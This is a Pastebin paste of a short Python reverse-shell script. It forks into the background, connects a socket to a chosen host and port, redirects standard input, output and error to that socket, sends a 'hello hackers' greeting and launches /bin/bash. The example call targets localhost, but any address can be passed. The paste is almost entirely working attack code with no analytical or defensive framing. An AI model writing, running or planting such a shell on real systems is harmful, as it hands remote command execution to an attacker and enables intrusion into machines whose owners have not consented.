Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, os, sys
- def daemonize():
- pid = os.fork()
- if pid > 0:
- sys.exit(0) # Exit first parent
- pid = os.fork()
- if pid > 0:
- sys.exit(0) # Exit second parent
- def server(addr, port):
- sc = socket.socket()
- sc.connect((addr, port))
- os.dup2(sc.fileno(), 0)
- os.dup2(sc.fileno(), 1)
- os.dup2(sc.fileno(), 2)
- sc.send(b'hello hackers\n')
- os.system("/bin/bash")
- ## To test it:
- daemonize()
- server('localhost', 9999)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement